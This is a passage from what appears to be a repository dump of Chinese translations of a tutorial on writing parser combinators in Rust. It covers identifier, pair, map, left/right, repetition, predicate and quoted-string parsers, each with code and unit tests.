{\n        Some(next) if next.is_alphabetic() => matched.push(next),\n        _ => return Err(input),\n    }\n\n    while let Some(next) = chars.next() {\n        if next.is_alphanumeric() || next == '-' {\n            matched.push(next);\n        } else {\n            break;\n        }\n    }\n\n    let next_index = matched.len();\n    Ok((&input[next_index..], matched))\n}\n``` \n\n和往常一样，我们先查看一下类型。这次，我们不是编写函数来构建解析器，而是像最开始的那样编写解析器本身。这里值得注意的不同点是，我们没有返回 `()` 的结果类型，而是返回一个元组，其中包含 `String` 以及输入的未解析的剩余部分。这个 `String` 将包含我们刚刚解析过的标识符。\n\n记住这一点，首先我们创建一个空的 `String`，并将其命名为 `matched`。它将作为我们的结果值。我们还会通过输入的字符串得到一个迭代器，通过迭代器逐个遍历分开这些字符。\n\n第一步是看前缀是否是字母开始。我们从迭代器中取出第一个字符，并检查他是否是字母：`next.is_alphabetic()`。在这里，Rust 标准库当然会帮助我们处理 Unicode —— 它将匹配任意字母，不仅仅是 ASCII。如果它是一个字母，我们将把它放入匹配完成的字符串中，如果不是，很明显，我们没有找到元素标识符，我们将直接返回一个错误。\n\n第二步，我们继续从迭代器中提取字符，并把它放入构建的 `String` 中，直到我们找到一个不符合 `is_alphanumeric()`（类似于 `is_alphabetic()`），也不匹配字母表中的任意字符，也不是 `-` 的字符。\n\n 当我们第一次看到与这些条件不匹配的东西时，这意味着我们已经完成了解析，因此我们跳出循环，并返回我们处理好的 `String`，记住我们要从 `input` 中剥离出我们已经处理的部分。同样的，如果迭代器迭代完成，表示我们到达了输入的末尾。\n\n值得注意的是，当我们看到不是字母数字或 `-` 时，我们没有返回异常。一旦匹配了第一个字母，我们就已经有足够的内容来创建一个有效的标识符，解析标识符之后，在输入字符串中解析更多的东西是完全正常的，所以我们只需停止解析并返回结果。只有当我们连第一个字母都找不到时，我们才会返回一个异常，因为在这种情况下，意味着输入中肯定没有标识符。\n\n还记得我们要将 XML 文档解析为 `Element` 结构体吗？\n\n```\nstruct Element {\n    name: String,\n    attributes: Vec<(String, String)>,\n    children: Vec<Element>,\n}\n```\n\n实际上，我们刚刚完成了第一部分的解析器，解析 `name` 字段。我们解析器返回的 `String` 就是这样，对于每个 `attribute` 的前面部分来说，它也是适用的解析器。\n\n让我们开始测试它。\n\n```\n#[test]\nfn identifier_parser() {\n    assert_eq!(\n        Ok((\"\", \"i-am-an-identifier\".to_string())),\n        identifier(\"i-am-an-identifier\")\n    );\n    assert_eq!(\n        Ok((\" entirely an identifier\", \"not\".to_string())),\n        identifier(\"not entirely an identifier\")\n    );\n    assert_eq!(\n        Err(\"!not at all an identifier\"),\n        identifier(\"!not at all an identifier\")\n    );\n}\n```\n\n我们看到第一种情况，字符串 `i-am-an-identifier` 被完整解析，只剩下空字符串。在第二种情况下，解析器返回 `\"not\"` 作为标识符，其余的字符串作为剩余的输入返回。在第三种情况下，解析器完全失败，因为它找到的首字符并不是字母。\n\n### 组合器\n\n现在我们可以解析开头的 `<`，然后解析接下来的标识符，但是我们需要同时解析 **这两个**，以便于能够向下运行。因此，下一步将编写另一个解析器构建器函数，该函数将两个 **解析器**　作为输入，并返回一个新的解析器，它按顺序解析这两个解析器。换句话说，是另一个解析器 **组合器**，因为它将两个解析器组合成一个新的解析器。让我们看看能不能实现它。\n\n```\nfn pair<P1, P2, R1, R2>(parser1: P1, parser2: P2) -> impl Fn(&str) -> Result<(&str, (R1, R2)), &str>\nwhere\n    P1: Fn(&str) -> Result<(&str, R1), &str>,\n    P2: Fn(&str) -> Result<(&str, R2), &str>,\n{\n    move |input| match parser1(input) {\n        Ok((next_input, result1)) => match parser2(next_input) {\n            Ok((final_input, result2)) => Ok((final_input, (result1, result2))),\n            Err(err) => Err(err),\n        },\n        Err(err) => Err(err),\n    }\n}\n```\n\n这里稍微有点复杂，但你应该知道接下来要做什么：从查看类型开始。\n\n首先，我们有四个类型：`P1`、`P2`、`R1` 和 `R2`。这是分析器 1，分析器 2，结果 1，结果 2。`P1` 和 `P2` 是函数，你将注意到它们遵循已建立的解析器函数模式：就像返回值一样，他们以 `&str` 作为输入，并返回剩余输入和解析结果，或者返回一个异常。\n\n但是看看每个函数的结果类型：`P1` 是一个解析器，如果成功，它将生成 `R1`，`P2` 也将生成 `R2`。最终的解析器的结果是 —— 即函数的返回值 —— 是 `(R1, R2)`。因此，这个解析器的逻辑是首先在输入上运行解析器 `P1`，保留它的结果，然后将 `P1` 返回的作为输入运行 `P2`，如果这2个方法都能正常运行，我们将这2个结果合并为一个元组 `(R1, R2)`。\n\n看看代码，它也确实是这么实现的。我们首先在输入上运行第一个解析器，然后运行第2个解析器，然后将两个结果组合成一个元组并返回。如果其中一个解析器遇到异常，我们立即返回它给出的错误。\n\n这样的话，我们可以结合之前的两个解析器，`match_literal` 和 `identifier`，来实际的解析一下 XML 标签一开始的字节。我们写个测试测一下它是否能起作用。\n\n```\n#[test]\nfn pair_combinator() {\n    let tag_opener = pair(match_literal(\"<\"), identifier);\n    assert_eq!(\n        Ok((\"/>\", ((), \"my-first-element\".to_string()))),\n        tag_opener(\"<my-first-element/>\")\n    );\n    assert_eq!(Err(\"oops\"), tag_opener(\"oops\"));\n    assert_eq!(Err(\"!oops\"), tag_opener(\"<!oops\"));\n}\n```\n\n它似乎可以运行！但看结果类型：`((), String)`。很明显，我们只关心右边的值，也就是 `String`。大部分情况 —— 我们的一些解析器只匹配输入中的模式，而不产生值，因此可以放心地忽略这种输出。为了适应这种场景，我们要用我们的 `pair` 组合器来写另外两个组合器：`left`，它丢弃第一个解析器的结果，并返回第二个解析器和对应的数字，`right`，这是我们在我们上面的测试中想要使用的而不是 `pair` —— 它丢弃左侧的 `()`，只留下我们的 `String`。\n\n- [通过 Rust 学习解析器组合器 - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-1.md)\n- [通过 Rust 学习解析器组合器 - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-2.md)\n- [通过 Rust 学习解析器组合器 - Part 3](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-3.md)\n- [通过 Rust 学习解析器组合器 - Part 4](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-4.md)\n\n## 许可证\n\n本作品版权归 Bodil Stokke 所有，在知识共享署名-非商业性-相同方式共享 4.0 协议之条款下提供授权许可。要查看此许可证，请访问 http://creativecommons.org/licenses/by-nc-sa/4.0/。\n\n## 脚注\n\n1: 他不是你真正的叔叔。\n2: 请不要成为聚会上的那个人。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learning-parser-combinators-with-rust-2.md",
    "content": "> * 原文地址：[Learning Parser Combinators With Rust](https://bodil.lol/parser-combinators/)\n> * 原文作者：[Bodil](https://bodil.lol/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-2.md)\n> * 译者：[suhanyujie](https://github.com/suhanyujie)\n> * 校对者：[twang1727](https://github.com/twang1727)\n\n# 通过 Rust 学习解析器组合器 — 第二部分\n\n如果你没看过本系列的其他几篇文章，建议你按照顺序进行阅读：\n\n- [通过 Rust 学习解析器组合器 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-1.md)\n- [通过 Rust 学习解析器组合器 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-2.md)\n- [通过 Rust 学习解析器组合器 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-3.md)\n- [通过 Rust 学习解析器组合器 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-4.md)\n\n### 开始探究 Functor\n\n但在我们深入之前，让我们介绍另一个组合器，它的作用是使这两个解析器的编写变得简单很多：`map`。\n\n使用这个组合器有一个目的：更改结果的类型。比如你有一个返回 `((), String)` 的解析器，你希望将它改成只返回 `String`，当然，这只是举个例子。\n\n为此，我们传递一个函数，这个函数知道如何将原始类型转换为新的类型。在我们的示例中，这很简单：`|(_left, right)| right`。更一般的说，它看起来类似于这样 `Fn(A) -> B`， 其中的 `A` 是解析器的原始结果类型，B 是新的类型。\n\n```\nfn map<P, F, A, B>(parser: P, map_fn: F) -> impl Fn(&str) -> Result<(&str, B), &str>\nwhere\n    P: Fn(&str) -> Result<(&str, A), &str>,\n    F: Fn(A) -> B,\n{\n    move |input| match parser(input) {\n        Ok((next_input, result)) => Ok((next_input, map_fn(result))),\n        Err(err) => Err(err),\n    }\n}\n```\n\n这个类型说明了什么？`P` 是我们的解析器。它在成功时返回 `A`。`F` 是我们用来将 `P` 映射成返回值的函数，它看起来和 `P` 一样，只不过它的结果类型是 `B` 而不是 `A`。\n\n在代码中，我们运行 `parser(input)`，如果它成功执行，我们得到 `result` 并在其上调用函数 `map_fn(result)`，将 `A` 转换为 `B`，这就是转换后解析器要执行的逻辑。\n\n实际上，让我们改变一下，稍微简化这个函数，因为这个 `map` 实际上是一个常见的模式，`Result` 也实现了这个模式：\n\n```\nfn map<P, F, A, B>(parser: P, map_fn: F) -> impl Fn(&str) -> Result<(&str, B), &str>\nwhere\n    P: Fn(&str) -> Result<(&str, A), &str>,\n    F: Fn(A) -> B,\n{\n    move |input|\n        parser(input)\n            .map(|(next_input, result)| (next_input, map_fn(result)))\n}\n```\n\n这种模式在 Haskell 及其对应的数学上的范畴论中被称为“函子”。如果你有一个包含 `A` 类型的东西，并且你还有一个可用的 `map` 函数，这样你就可以把一个函数从 `A` 传到 `B` 中，把它变成包含 `B` 类型的东西，那么它就叫做“函子”。你可以在 Rust 中看到很多这样的地方，比如 [`Option`](https://doc.rust-lang.org/std/option/enum.Option.html#method.map)，[`Result`](https://doc.rust-lang.org/std/result/enum.Result.html#method.map)，[`Iterator`](https://doc.rust-lang.org/std/iter/trait.Iterator.html#method.map) 甚至 [`Future`](https://docs.rs/futures/0.1.26/futures/future/trait.Future.html#method.map) 中，都没有显式的将其这样命名。之所以这样，有一个原因：在 Rust 类型系统中，你没法将 `functor` 这一概念像普通事物一样概括出来，因为它缺乏高阶类型，但这是另一个话题了，所以回到原先的主题，记住这些 functor，并且你只要寻找映射它的 `map` 函数。\n\n### 轮到 Trait\n\n你可能已经注意到，我们一直在重复解析器的类型签名：`Fn(&str) -> Result<(&str, Output), &str>`，你可能已经厌倦了阅读这样完整的书写形式，所以我认为现在是时候介绍 trait 了，让代码更加可读，并有利于我们对解析器进行扩展。\n\n但首先 ，让我们为一直在使用的返回值类型创建一个别名：\n\n```\ntype ParseResult<'a, Output> = Result<(&'a str, Output), &'a str>;\n```\n\n所以现在，我们可以输入 `ParseResult<String>` 这样的东西，而不是之前的那个乱七八糟的东西。我们在其中添加了一个生命周期，因为类型声明需要它，但是很多时候，Rust 编译器应该能够为你推断出来。作为一个规范，尝试着把生命周期去掉，看看 rustc 编译器是否会报异常，如果异常，再把生命周期加回去。\n\n在本例中，生命周期 `'a`，特指**输入**参数的生命周期。\n\n现在，谈论 trait。我们还需要在这里输入生命周期，当你使用 trait 时，通常需要生命周期。它需要多一点代码输入，但生命周期这种特性还是优于之前的版本。\n\n```\ntrait Parser<'a, Output> {\n    fn parse(&self, input: &'a str) -> ParseResult<'a, Output>;\n}\n```\n\n目前，它只有一个 `parse()` 方法，很熟悉吧：它和我们编写的解析器函数一样。\n\n为了更简单一点，我们可以为任何匹配解析器签名的函数实现这个 trait。\n\n```\nimpl<'a, F, Output> Parser<'a, Output> for F\nwhere\n    F: Fn(&'a str) -> ParseResult<Output>,\n{\n    fn parse(&self, input: &'a str) -> ParseResult<'a, Output> {\n        self(input)\n    }\n}\n```\n\n这样，我们不仅可以传递相同的函数，这个函数其实就是到目前为止完整地实现了 `Parser` trait 的解析器，还增加了用其它类型实现解析器的可能性。\n\n但更重要的是，它使我们无需一直键入那些冗长的函数签名。让我们重写 `map` 函数，并看看它如何工作的。\n\n```\nfn map<'a, P, F, A, B>(parser: P, map_fn: F) -> impl Parser<'a, B>\nwhere\n    P: Parser<'a, A>,\n    F: Fn(A) -> B,\n{\n    move |input|\n        parser.parse(input)\n            .map(|(next_input, result)| (next_input, map_fn(result)))\n}\n```\n\n尤其是这里要注意一件事：不直接将解析器作为一个函数调用，那么我们现在必须这样调用 `parser.parse(input)`，因为我们不知道类型 `P` 是不是一个函数类型，我们只知道它实现了 `Parser`，所以我们必须保证好 `Parser` 提供的接口。另外的，函数看起来也大体一样，而类型看起来也是整洁的。新的生命周期 `'a'` 看着有点乱，但总的来说，这已经改善很多了。\n\n如果我们用同样的方式重写 `pair` 函数，那就更好了。\n\n```\nfn pair<'a, P1, P2, R1, R2>(parser1: P1, parser2: P2) -> impl Parser<'a, (R1, R2)>\nwhere\n    P1: Parser<'a, R1>,\n    P2: Parser<'a, R2>,\n{\n    move |input| match parser1.parse(input) {\n        Ok((next_input, result1)) => match parser2.parse(next_input) {\n            Ok((final_input, result2)) => Ok((final_input, (result1, result2))),\n            Err(err) => Err(err),\n        },\n        Err(err) => Err(err),\n    }\n}\n```\n\n这里也是一样，唯一的改变就是整理了的类型签名，并且需要使用 `parser.parse(input)` 而非 `parser(input)`。\n\n实际上，我们也整理一下 `pair` 的函数体，就像我们处理 `map` 一样。\n\n```\nfn pair<'a, P1, P2, R1, R2>(parser1: P1, parser2: P2) -> impl Parser<'a, (R1, R2)>\nwhere\n    P1: Parser<'a, R1>,\n    P2: Parser<'a, R2>,\n{\n    move |input| {\n        parser1.parse(input).and_then(|(next_input, result1)| {\n            parser2.parse(next_input)\n                .map(|(last_input, result2)| (last_input, (result1, result2)))\n        })\n    }\n}\n```\n\n`Result` 中的 `and_then` 方法和 `map` 很类似，只是，映射的函数不将返回的新值放入 `Result` 中，而是返回一个全新的 `Result`。上面代码实际上和前面版本中使用的 `match` 代码块一样。我们稍后回到 `and_then`，但现在，既然我们有了一个好用并且很简洁的 `map`，我们就来实现一下 `left` 和 `right` 组合器。\n\n### Left 和 Right\n\n有了 `pair` 和 `map`，我们就可以简洁地编写 `left` 和 `right`。\n\n```\nfn left<'a, P1, P2, R1, R2>(parser1: P1, parser2: P2) -> impl Parser<'a, R1>\nwhere\n    P1: Parser<'a, R1>,\n    P2: Parser<'a, R2>,\n{\n    map(pair(parser1, parser2), |(left, _right)| left)\n}\n\nfn right<'a, P1, P2, R1, R2>(parser1: P1, parser2: P2) -> impl Parser<'a, R2>\nwhere\n    P1: Parser<'a, R1>,\n    P2: Parser<'a, R2>,\n{\n    map(pair(parser1, parser2), |(_left, right)| right)\n}\n```\n\n我们使用 `pair` 组合器将两个解析器组合到一个会产生元组结果的解析器中，然后我们使用 `map` 组合器选择我们想要保留的元组。\n\n重写解析前两部分元素标签的测试用例，现在更简洁了，在这个过程中，我们获得了一些重要并且新的解析器组合器的功能。\n\n不过，我们必须先更新两个解析器，来使用 `Parser` 和 `ParseResult`。而 `match_literal` 则会更加复杂：\n\n```\nfn match_literal<'a>(expected: &'static str) -> impl Parser<'a, ()> {\n    move |input: &'a str| match input.get(0..expected.len()) {\n        Some(next) if next == expected => Ok((&input[expected.len()..], ())),\n        _ => Err(input),\n    }\n}\n```\n\n除了改变返回值类型外，我们还必须确保闭包的输入参数类型是 `&'a str`，否则编译器可能会报错。\n\n对于 `identifier`，只需要更改返回类型，就可以了，编译器会帮助你推断出生命周期：\n\n```\nfn identifier(input: &str) -> ParseResult<String> {\n```\n\n现在测试一下，很不错，返回结果不再是 `()`。\n\n```\n#[test]\nfn right_combinator() {\n    let tag_opener = right(match_literal(\"<\"), identifier);\n    assert_eq!(\n        Ok((\"/>\", \"my-first-element\".to_string())),\n        tag_opener.parse(\"<my-first-element/>\")\n    );\n    assert_eq!(Err(\"oops\"), tag_opener.parse(\"oops\"));\n    assert_eq!(Err(\"!oops\"), tag_opener.parse(\"<!oops\"));\n}\n```\n\n### 一个或多个可选属性的处理\n\n我们继续解析这个元素标签。我们获取了开始的 `<`，并且也获取了标识符。接下来呢？接下来应该是属性。\n\n不，实际上，这些属性是可选的。我们必须找到一个正确处理可选的方法。\n\n等一下，实际上在我们开始处理属性**之前**，先要处理另一种可选的属性：空格。\n\n在元素名称结尾，和第一个属性名的开始部分（如果有属性的话）之间有一个空格。我们需要处理这个空格。\n\n比这更不好的是，我们需要处理**一个甚至更多空格**，因为形如 `<element      attribute=\"value\"/>` 的写法也是合法的，虽然空格多了点。那么，接下来我们要好好考虑我们是否可以编写一个组合器，它可以应对**一个或多个**解析器的场景。\n\n我们已经在 `identifier` 解析器中做过处理，但那是通过手动完成的。一点也不奇怪，这种代码的逻辑和常见思路没什么不同。\n\n```\nfn one_or_more<'a, P, A>(parser: P) -> impl Parser<'a, Vec<A>>\nwhere\n    P: Parser<'a, A>,\n{\n    move |mut input| {\n        let mut result = Vec::new();\n\n        if let Ok((next_input, first_item)) = parser.parse(input) {\n            input = next_input;\n            result.push(first_item);\n        } else {\n            return Err(input);\n        }\n\n        while let Ok((next_input, next_item)) = parser.parse(input) {\n            input = next_input;\n            result.push(next_item);\n        }\n\n        Ok((input, result))\n    }\n}\n```\n\n首先，我们正在构建的解析器的返回类型是 `A`，组合解析器的返回类型是 `Vec<A>` —— 任意数量的 `A` 类型集合。\n\n代码看起来确实和处理 `identifier` 的那段很像。首先我们解析第一个元素，如果没有，我们返回一个错误。然后我们解析尽可能多的元素，直到解析器遇到错误，这时我们返回迭代收集到的所有元素也就是数组。\n\n看看这段代码，是不是很容易就能将其调整为符合**0**个或者更多的逻辑？我们只需移除解析器的第一次运行的相关代码：\n\n```\nfn zero_or_more<'a, P, A>(parser: P) -> impl Parser<'a, Vec<A>>\nwhere\n    P: Parser<'a, A>,\n{\n    move |mut input| {\n        let mut result = Vec::new();\n\n        while let Ok((next_input, next_item)) = parser.parse(input) {\n            input = next_input;\n            result.push(next_item);\n        }\n\n        Ok((input, result))\n    }\n}\n```\n\n我们来编写一些测试来确保这两个方法能正常运行：\n\n```\n#[test]\nfn one_or_more_combinator() {\n    let parser = one_or_more(match_literal(\"ha\"));\n    assert_eq!(Ok((\"\", vec![(), (), ()])), parser.parse(\"hahaha\"));\n    assert_eq!(Err(\"ahah\"), parser.parse(\"ahah\"));\n    assert_eq!(Err(\"\"), parser.parse(\"\"));\n}\n\n#[test]\nfn zero_or_more_combinator() {\n    let parser = zero_or_more(match_literal(\"ha\"));\n    assert_eq!(Ok((\"\", vec![(), (), ()])), parser.parse(\"hahaha\"));\n    assert_eq!(Ok((\"ahah\", vec![])), parser.parse(\"ahah\"));\n    assert_eq!(Ok((\"\", vec![])), parser.parse(\"\"));\n}\n```\n\n注意两者之间的区别：对于 `one_or_more`，查找空字符串是一个错误，因为它至少需要考虑到它的子解析器众多情况下的一种情况，但对于 `zero_or_more`，空字符串只表示 0 的情况，这不是错误。\n\n在这一点，考虑一下如何归纳这两种情况是合理而必要的，因为其中一个是另一个的副本，只是去掉了一些东西。如下所示，可能很容易就能用 `zero_or_more` 来表示 `one_or_more`：\n\n```\nfn one_or_more<'a, P, A>(parser: P) -> impl Parser<'a, Vec<A>>\nwhere\n    P: Parser<'a, A>,\n{\n    map(pair(parser, zero_or_more(parser)), |(head, mut tail)| {\n        tail.insert(0, head);\n        tail\n    })\n}\n```\n\n在这里，我们遇到了关于 Rust 的一些问题，我不是说 `Vec` 类型没有 `cons` 方法的问题，但我知道每个 Lisp 程序员在读这段代码时都会想到这个。事实上情况比这还严重：那就是所有权问题。\n\n我们有了这个解析器，但我们不能将一个参数传递两次，编译器会告诉你这行不通：你在试着移除一个已经移除的值。那么，我们能让我们的组合器使用参数的引用吗？不行的，事实证明，因为完整严格的借用检查机制 —— 并且我们不用现在去直面这个问题。因为这些解析器就是一些函数，它们不会直接实现 `Clone`，如果用克隆则会很省事，我们现在遇到困难了，我们不能在组合器中那么轻松的重复使用解析器。\n\n不过这也没什么**大**不了的。尽管，这意味着我们无法使用组合器实现 `one_or_more`，但事实上这两个东西通常是你需要用的组合器，该组合器还需要复用解析器，而且，如果你想变得更具想象力，你可以用 `RangeBound` 编写一个组合器，额外附加一个解析器，然后根据范围重复使用，比如 `zero_or_more` 用 `range(0..)`，对 `one_or_more` 用 `range(1..)`，对五个或六个则用 `range(5..=6)`，总之随意而为。\n\n让我们把它留给读者作为练习。现在，我们只需要处理好 `zero_or_more` 和 `one_or_more`。\n\n另一个练习是，尝试找到一个解决这些所有权问题的方法 —— 通过在 `Rc` 中包装一个解析器使其可被克隆，你觉得这个方式怎么样？\n\n- [通过 Rust 学习解析器组合器 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-1.md)\n- [通过 Rust 学习解析器组合器 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-2.md)\n- [通过 Rust 学习解析器组合器 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-3.md)\n- [通过 Rust 学习解析器组合器 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-4.md)\n\n## 许可证\n\n本作品版权归 Bodil Stokke 所有，在知识共享署名-非商业性-相同方式共享 4.0 协议之条款下提供授权许可。要查看此许可证，请访问 http://creativecommons.org/licenses/by-nc-sa/4.0/。\n\n## 脚注\n\n1：他不是你真正的叔叔。\n2：请不要成为聚会上的那个人。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的**本文永久链接**即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learning-parser-combinators-with-rust-3.md",
    "content": "> * 原文地址：[Learning Parser Combinators With Rust](https://bodil.lol/parser-combinators/)\n> * 原文作者：[Bodil](https://bodil.lol/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-3.md)\n> * 译者：[suhanyujie](https://github.com/suhanyujie)\n\n# 通过 Rust 学习解析器组合器 — 第三部分\n\n如果你没看过本系列的其他几篇文章，建议你按照顺序进行阅读：\n\n- [通过 Rust 学习解析器组合器 — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-1.md)\n- [通过 Rust 学习解析器组合器 — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-2.md)\n- [通过 Rust 学习解析器组合器 — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-3.md)\n- [通过 Rust 学习解析器组合器 — 第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-4.md)\n\n### 判定组合器\n\n现在我们有了构建的代码块，我们需要通过它用 `one_or_more` 解析空格符，并用 `zero_or_more` 解析属性对。\n\n事实上，得等一下。我们并不想先解析空格符**然后**解析属性。如果你考虑到，在没有属性的情况下，空格符也是可选的，并且我们可能会立即遇到 `>` 或 `/>`。但如果有一个属性时，在开头就**一定**会有空格符。幸运的是，每个属性之间也一定会有空格符，如果有多个的话，那么我们看看**零个或者多个**序列，该序列是在属性后跟随**一个或者多个**空格符。\n\n首先，我们需要一个针对单个空格的解析器。这里我们可以从三种方式选择其中一种。\n\n第一，我们可以最简单的使用 `match_literal` 解析器，它带有一个只包含一个空格的字符串。这看起来是不是很傻？因为空格符也相当于是换行符、制表符和许多奇怪的 Unicode 字符，它们都是以空白的形式呈现的。我们将不得不再次依赖 Rust 的标准库，当然，`char` 有一个 `is_whitespace` 方法，也是类似于它的 `is_alphabetic` 和 `is_alphanumeric` 方法。\n\n第二，我们可以编写一个解析器，它是通过 `is_whitespace` 来判定解析任意数量的空格，就像我们前面写到的 `identifier` 一样。\n\n第三，我们可以更明智一点，我们确实喜欢更明智的做法。我们可以编写一个解析器 `any_char`，它返回一个单独的 `char`，只要输入中还有空格符，接着编写一个 `pred` 组合器，它接受一个解析器和一个判定函数，并将它们像这样组合起来：`pred(any_char, |c| c.is_whitespace())`。这样做会有一个好处，它使我们最终的解析器的编写变得更简单：属性值使用引用字符串。\n\n`any_char` 可以看做是一个非常简单的解析器，但我们必须记住小心那些 UTF-8 陷阱。\n\n```\nfn any_char(input: &str) -> ParseResult<char> {\n    match input.chars().next() {\n        Some(next) => Ok((&input[next.len_utf8()..], next)),\n        _ => Err(input),\n    }\n}\n```\n\n对于现在我们富有经验的眼睛来说，`pred` 组合器没有给我们带来惊喜。我们调用解析器，然后在解析器执行成功时再对返回值调用判定函数，只有当该函数返回 true 时，我们才真正返回成功，否则就会返回跟解析失败一样多的错误。\n\n```\nfn pred<'a, P, A, F>(parser: P, predicate: F) -> impl Parser<'a, A>\nwhere\n    P: Parser<'a, A>,\n    F: Fn(&A) -> bool,\n{\n    move |input| {\n        if let Ok((next_input, value)) = parser.parse(input) {\n            if predicate(&value) {\n                return Ok((next_input, value));\n            }\n        }\n        Err(input)\n    }\n}\n```\n\n快速地写一个测试用例来确保一切是有序进行的：\n\n```\n#[test]\nfn predicate_combinator() {\n    let parser = pred(any_char, |c| *c == 'o');\n    assert_eq!(Ok((\"mg\", 'o')), parser.parse(\"omg\"));\n    assert_eq!(Err(\"lol\"), parser.parse(\"lol\"));\n}\n```\n\n针对这两个地方，我们可以用一个快速的一行代码来编写我们的 `whitespace_char` 解析器：\n\n```\nfn whitespace_char<'a>() -> impl Parser<'a, char> {\n    pred(any_char, |c| c.is_whitespace())\n}\n```\n\n现在，我们有了 `whitespace_char`，我们所做的离我们的想法更近了，**一个或多个空格**，以及类似的想法，**零个或者多个空格**。我们将其简化一下，分别将它们命名为 `space1` 和 `space0`。\n\n```\nfn space1<'a>() -> impl Parser<'a, Vec<char>> {\n    one_or_more(whitespace_char())\n}\n\nfn space0<'a>() -> impl Parser<'a, Vec<char>> {\n    zero_or_more(whitespace_char())\n}\n```\n\n### 字符串引用\n\n完成这些工作后，终于我们现在可以解析这些属性了吗？是的，我们只需要确保为属性组件编写好了单独的解析器。我们已经得到了属性名的 `identifier`（尽管很容易使用 `any_char` 和 `pred` 加上 `*_or_more` 组合器重写它）。`=` 也即 `match_literal(\"=\")`。不过，我们只需要字符串解析器的引用，所以我们要构建它。幸运的是，我们已经实现了我们所需要的组合器。\n\n```\nfn quoted_string<'a>() -> impl Parser<'a, String> {\n    map(\n        right(\n            match_literal(\"\\\"\"),\n            left(\n                zero_or_more(pred(any_char, |c| *c != '\"')),\n                match_literal(\"\\\"\"),\n            ),\n        ),\n        |chars| chars.into_iter().collect(),\n    )\n}\n```\n\n在这里，组合器的嵌套有点烦人，但我们暂时不打算重构它，而是将重点放在接下来要做的东西上。\n\n最外层的组合器是一个 `map`，因为之前提到嵌套很烦人，从这里开始会变得糟糕并且我们要忍受并理解这一点，我们试着找到开始执行的地方：第一个引号字符。在 `map` 中，有一个 `right`，而 `right` 的第一部分是我们要查找的：`match_literal(\"\\\"\")`。以上就是我们一开始要着手处理的东西。\n\n`right` 的第二部分是字符串剩余部分的处理。它位于 `left` 的内部，我们会很快的注意到**右侧**的 `left` 参数，是我们要忽略的，也就是另一个 `match_literal(\"\\\"\")` —— 结束的引号。所以左侧参数是我们引用的字符串。\n\n我们利用新的 `pred` 和 `any_char` 在这里得到一个解析器，它接收**任何字符除了另一个引号**，我们把它放进 `zero_or_more`，所以我们讲的也是以下这些：\n\n* 一个引号\n* 随后是零个或多个**除了**结束引号以外的字符\n* 随后是结束引号\n\n并且，在 `right` 和 `left` 之间，我们会在结果值中丢弃引号，并且得到引号之间的字符串。\n\n等等，那不是字符串。还记得 `zero_or_more` 